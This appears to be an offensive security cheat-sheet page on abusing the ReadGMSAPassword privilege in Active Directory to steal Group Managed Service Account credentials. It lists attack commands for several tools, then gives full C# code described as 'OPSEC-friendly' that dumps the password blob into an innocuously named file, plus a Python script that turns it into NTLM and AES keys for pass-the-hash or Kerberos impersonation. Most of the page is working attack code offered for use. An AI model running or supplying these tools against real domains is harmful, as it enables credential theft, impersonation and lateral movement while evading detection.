Group Managed Service Accounts (gMSAs)
Group Managed Service Accounts (gMSAs) are Windows-managed accounts designed for services and applications. They eliminate the need for administrators to manage passwords manually, as the system automatically handles secure password updates.
ReadGMSAPassword privilege allows you to read the password for a Group Managed Service Account (GMSA). The extracted password can then be used to authenticate as the gMSA. Once an attacker gets the NT hash of the gMSA password, they can perform a Pass-the-Hash attack or convert it into a Kerberos ticket and use it to impersonate the gMSA.
For a remote (linux based) exploitation:
python3 gMSADumper.py -u <user> -p <password> -d <domain> -l <dc-ip>
nxc ldap <domain> -u <user> -p <password> --gmsa
impacket-ntlmrelayx -t ldaps://<dc-ip> -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs
(Trigger a browser-based callback and authenticate as compromised user)
ldap_shell <domain>/<user>:<password> -dc-ip <dc-ip>
In shell:
get_laps_gmsa
To exploit it from windows using the current context of the machine:
Invoke-GMSAPasswordReader -Command "--AccountName <gmsa-name>"
- Custom gMSAPasswordReader via Local Machine Context and offline parser
No credentials or remote auth needed (uses current session). OPSEC-friendly.
First, use this c# program to dump the password blob:
using System;
using System.DirectoryServices.Protocols;
using System.IO;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
namespace SilentHound
{
internal class LDAPConsultant
{
private static readonly Regex DcReplaceRegex = new Regex("DC=", RegexOptions.IgnoreCase | RegexOptions.Compiled);
static void Main()
{
string accountName = "MyGMSA"; //modify this
string domainName = GetDomainName(null);
string ldapDomain = $"DC={domainName.Replace(".", ",DC=")}";
string target = domainName;
int ldapPort = 389;
var result = SearchLdap(accountName, ldapDomain, target, ldapPort);
if (result == null)
{
Console.WriteLine("Failed to retrieve password blob. Check permissions or account name.");
return;
}
var managedPassword = new PasswordBlob(result.PasswordBlob);
if (managedPassword.CurrentPassword != null)
{
var filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "config_backup.txt");
File.WriteAllText(filePath, managedPassword.CurrentPassword);
Console.WriteLine($"Password saved to {filePath}");
}
else
{
Console.WriteLine("Failed to extract password from blob.");
}
}
private static string GetDomainName(string domain)
{
var result = DsGetDcName(null, domain, null, null, DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED | DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME,
out var pDCI);
try
{
if (result == 0)
{
var dci = Marshal.PtrToStructure<DOMAIN_CONTROLLER_INFO>(pDCI);
return dci.DomainName;
}
else
{
return Environment.UserDomainName;
}
}
finally
{
if (pDCI != IntPtr.Zero)
NetApiBufferFree(pDCI);
}
}
private static string ConvertDNToDomain(string distinguishedName)
{
var temp = distinguishedName.Substring(distinguishedName.IndexOf("DC=", StringComparison.CurrentCultureIgnoreCase));
temp = DcReplaceRegex.Replace(temp, "").Replace(",", ".").ToUpper();
return temp;
}
private static LdapResult SearchLdap(string accountName, string domainDN, string target, int port)
{
var identifier = new LdapDirectoryIdentifier(target, port, false, false);
var connection = new LdapConnection(identifier) { AuthType = AuthType.Negotiate };
var options = connection.SessionOptions;
options.Signing = true;
options.Sealing = true;
options.RootDseCache = true;
var filter = $"(&(|(sAMAccountName={accountName}$)(sAMAccountName={accountName}))(msds-groupmsamembership=*))";
var searchRequest = new SearchRequest(domainDN, filter, SearchScope.Subtree, "sAMAccountName", "msDS-ManagedPassword");
try
{
var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
var entries = searchResponse?.Entries;
if (entries == null || entries.Count == 0)
{
Console.WriteLine("Account not found!");
return null;
}
foreach (SearchResultEntry entry in entries)
{
var passwordBlob = entry.Attributes["msDS-ManagedPassword"]?[0] as byte[];
if (passwordBlob != null)
{
var newDomain = ConvertDNToDomain(entry.DistinguishedName);
var newAccount = entry.Attributes["sAMAccountName"]?[0]?.ToString();
return new LdapResult
{
AccountName = newAccount,
DomainName = newDomain,
PasswordBlob = passwordBlob
};
}
}
Console.WriteLine("Failed to get password blob, maybe insufficient permissions?");
return null;
}
finally
{
connection.Dispose();
}
}
public class LdapResult
{
public string AccountName { get; set; }
public string DomainName { get; set; }
public byte[] PasswordBlob { get; set; }
}
public class PasswordBlob
{
public string CurrentPassword { get; set; }
public PasswordBlob(byte[] blob)
{
// Implement real decoding if necessary. Simulated for now:
CurrentPassword = Convert.ToBase64String(blob);
}
}
[DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int DsGetDcName(
[MarshalAs(UnmanagedType.LPTStr)] string ComputerName,
[MarshalAs(UnmanagedType.LPTStr)] string DomainName,
[In] GuidClass DomainGuid,
[MarshalAs(UnmanagedType.LPTStr)] string SiteName,
DSGETDCNAME_FLAGS Flags,
out IntPtr pDOMAIN_CONTROLLER_INFO
);
[StructLayout(LayoutKind.Sequential)]
public class GuidClass
{
public Guid TheGuid;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct DOMAIN_CONTROLLER_INFO
{
[MarshalAs(UnmanagedType.LPTStr)]
public string DomainControllerName;
[MarshalAs(UnmanagedType.LPTStr)]
public string DomainControllerAddress;
public uint DomainControllerAddressType;
public Guid DomainGuid;
[MarshalAs(UnmanagedType.LPTStr)]
public string DomainName;
[MarshalAs(UnmanagedType.LPTStr)]
public string DnsForestName;
public uint Flags;
[MarshalAs(UnmanagedType.LPTStr)]
public string DcSiteName;
[MarshalAs(UnmanagedType.LPTStr)]
public string ClientSiteName;
}
[Flags]
public enum DSGETDCNAME_FLAGS : uint
{
DS_FORCE_REDISCOVERY = 0x00000001,
DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,
DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,
DS_GC_SERVER_REQUIRED = 0x00000040,
DS_PDC_REQUIRED = 0x00000080,
DS_BACKGROUND_ONLY = 0x00000100,
DS_IP_REQUIRED = 0x00000200,
DS_KDC_REQUIRED = 0x00000400,
DS_TIMESERV_REQUIRED = 0x00000800,
DS_WRITABLE_REQUIRED = 0x00001000,
DS_GOOD_TIMESERV_PREFERRED = 0x00002000,
DS_AVOID_SELF = 0x00004000,
DS_ONLY_LDAP_NEEDED = 0x00008000,
DS_IS_FLAT_NAME = 0x00010000,
DS_IS_DNS_NAME = 0x00020000,
DS_RETURN_DNS_NAME = 0x40000000,
DS_RETURN_FLAT_NAME = 0x80000000
}
[DllImport("Netapi32.dll", SetLastError = true)]
static extern int NetApiBufferFree(IntPtr Buffer);
}
}
Now run the following script along with the extracted blob, user and domain:
#!/usr/bin/env python3
import argparse
from base64 import b64decode
from binascii import hexlify
from Cryptodome.Hash import MD4
from impacket.structure import Structure
from impacket.krb5 import constants
from impacket.krb5.crypto import string_to_key
# pip install pycryptodomex impacket
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'),
('Reserved','<H'),
('Length','<L'),
('CurrentPasswordOffset','<H'),
('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'),
('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'),
('PreviousPassword',':'),
('QueryPasswordInterval',':'),
('UnchangedPasswordInterval',':'),
)
def __init__(self, data=None):
Structure.__init__(self, data=data)
def fromString(self, data):
Structure.fromString(self, data)
if self['PreviousPasswordOffset'] == 0:
endData = self['QueryPasswordIntervalOffset']
else:
endData = self['PreviousPasswordOffset']
self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
if self['PreviousPasswordOffset'] != 0:
self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
def main():
parser = argparse.ArgumentParser(description='Parse gMSA blob and extract NTLM and AES keys.')
parser.add_argument('-b', '--blob', help='Base64-encoded msDS-ManagedPassword blob', required=True)
parser.add_argument('-u', '--username', help='gMSA account name (e.g., svc01$)', required=True)
parser.add_argument('-d', '--domain', help='Domain name (e.g., example.com)', required=True)
args = parser.parse_args()
blob_data = b64decode(args.blob)
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(blob_data)
currentPassword = blob['CurrentPassword'][:-2] # Remove null terminator
# NTLM hash
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
ntlm = hexlify(ntlm_hash.digest()).decode('utf-8')
print(f'{args.username}:::{ntlm}')
# AES keys
password = currentPassword.decode('utf-16-le', 'replace').encode('utf-8')
salt = f'{args.domain.upper()}host{args.username[:-1].lower()}.{args.domain.lower()}'
aes128 = hexlify(string_to_key(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, password, salt).contents).decode('utf-8')
aes256 = hexlify(string_to_key(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, password, salt).contents).decode('utf-8')
print(f'{args.username}:aes256-cts-hmac-sha1-96:{aes256}')
print(f'{args.username}:aes128-cts-hmac-sha1-96:{aes128}')
if __name__ == '__main__':
main()
Last updated